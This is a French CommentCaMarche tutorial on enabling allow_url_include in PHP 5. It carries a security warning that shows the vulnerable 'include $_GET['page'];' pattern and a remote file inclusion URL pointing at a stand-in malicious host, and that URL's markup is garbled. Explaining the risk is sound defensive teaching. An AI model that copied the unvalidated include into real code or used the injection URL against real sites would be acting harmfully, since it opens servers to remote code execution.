PHP 5 - Utiliser une url externe avec la fonction include

L'option qui permet d'inclure un url externe (c'est à dire absolue, de la forme http://site.tld/url) via la fonction include est désactivée par défaut dans les versions 5 et ultérieures de PHP, pour l'activer sur votre serveur mettez ces deux lignes dans votre fichier php.ini

allow_url_include = 1
allow_url_fopen = 1

Pour plus d'informations, voir ICI

NOTE IMPORTANTE: Néanmoins, il est très dangereux d'activer l'option allow_url_include. En effet elle peut, dans certains cas, poser de graves failles de sécurité si le développeur est négligent.

Prenons un simple exemple, vous avez un script PHP qui inclut une page en fonction de ce qu'on lui donne comme arguments via l'URL.
C'est à dire qu'en tapant http://votresite.flet/mapage.php?page=page_a_inclure.php vous allez inclure la page "page_a_inclure.php".
Si votre code ressemble à ceci : include $_GET['page']; alors vous laissez la porte ouverte à n'importe qui pour injecter du code externe. En effet, rien ne m'empêche d'inclure une page php qui vient de chez moi:

href= <a href='http://sitemechant.prout/pagemechante.php'' target='_blank'>http://sitemechant.prout/pagemechante.php'</a> target='_blank' rel='nofollow'>http://votresite.flet/mapage.php?http://sitemechant.prout/pagemechante.php</a>

Il faut donc être vigilant lorsque l'on active cette option.
Publié par aruju - Dernière mise à jour le 5 novembre 2009 à 12:54 par marlalapocket
Ce document intitulé « PHP 5 - Utiliser une url externe avec la fonction include » issu de CommentCaMarche (www.commentcamarche.net) est mis à disposition sous les termes de la licence Creative Commons. Vous pouvez copier, modifier des copies de cette page, dans les conditions fixées par la licence, tant que cette note apparaît clairement.
Suggestions
  •  PHP 5 - Utiliser une url externe avec la fonction include
  •  [PHP] doit-on utiliser extract() ? (Résolu) » salut, j'ai un bon paquet de variables à récupérer depuis un formulaire (sondage), je pense utiliser extract($_POST); pour tout extraire d'un pèt'. je ne trouve pas d'exemple qui utilise la fonction extract() et pas de commentaire non plus, je suis...
  •  Passé de php4 vers php 5(utilisé des classe) » salut je suis un développeurs web , j'utilise php comme langage coté serveur après ma formation sur la programmation orienté objet j'ai commencer a détester mais méthode classique que j'ai utilisée avec php4 ,donc j'ai décidé de les laisser tomber et...
  •  Php : lire un fichier externe (Résolu) » Meilleure réponse: Salut, Peut être curl: http://fr.php.net/manual/fr/book.curl.php
  •  Installation Disque dur interne sata (Résolu) » Meilleure réponse: Meme probleme que toi et résolu en allant sur le gestionnaire de disque, miracle, le disque sata est là et il ne reste plus qu'a le formater pour qu'il soit reconnu par le système. cool
  •  Utilisation de PHP 5.0 » Bonjour, Je cherche a apprendre a utiliser php 5.0 merci
Dossier à la une
Passage au tout numérique : quel coût pour les particuliers ?
PHP - Vérifier le domaine d'une adresse mail
Mktime() - Timestamp classiques (hier, mois dernier, etc.)